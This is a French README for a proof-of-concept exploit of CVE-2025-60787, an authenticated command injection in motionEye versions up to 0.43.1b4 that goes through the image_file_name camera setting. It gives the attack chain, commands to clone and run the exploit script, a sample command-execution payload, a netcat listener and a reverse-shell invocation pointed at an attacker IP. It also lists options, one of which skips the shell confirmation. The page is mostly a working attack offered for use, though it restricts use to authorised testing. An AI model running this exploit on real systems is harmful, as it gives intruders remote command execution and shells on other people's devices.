
CVE-2025-60787 PoC RCE par injection de commande authentifiée motionEye
PoC d'injection de commande authentifiée pour CVE-2025-60787. motionEye v0.43.1b4 et versions antérieures écrit des valeurs de configuration de caméra contrôlées par l'utilisateur, telles que image_file_name, dans la configuration Motion sans sanitisation suffisante, permettant l'exécution de commandes lorsque la valeur est traitée.
Pour les tests et la recherche autorisés uniquement. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
/config/list/.image_file_name de la caméra./action/<camera_id>/snapshot/ pour que motionEye traite le nom de fichier injecté.


git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--user admin \
--password-hash HASH \
--cmd 'id > /tmp/motioneye_rce'
D'abord lancer un écouteur :
rlwrap nc -lvnp 4444
Ensuite exécuter :
python3 CVE-2025-60787.py \
--target http://127.0.0.1:8765 \
--port 8765 \
--user admin \
--password-hash HASH \
--reverse-shell \
--lhost 10.10.16.53 \
--lport 4444
Options utiles :
--camera-id N Camera ID to modify (default: 1)
--restore Restore the original camera configuration after triggering
--dry-run Build signed requests without modifying the target
--debug Print canonical signed paths, bodies and signatures
--no-trigger Update config without triggering a snapshot
--verify-tls Verify HTTPS certificates
--yes Skip reverse-shell confirmation prompt
| Produit | Version affectée | Accès requis | Impact |
|---|---|---|---|
| motionEye | <= 0.43.1b4 | Accès admin/API authentifié | Exécution de commandes système en tant qu'utilisateur du processus motionEye/Motion |
Le privilège résultant dépend de la façon dont motionEye est déployé. Dans les conteneurs ou les images de laboratoire exécutant le service en tant que root, l'exécution de commande peut aboutir en tant que root.
image_file_name.--restore pendant les tests pour rétablir la configuration originale de la caméra après exploitation.--cmd pour une validation sécurisée avant de tenter un reverse shell.ozcanpng — github.com/ozcanpng — ozcanpng.dev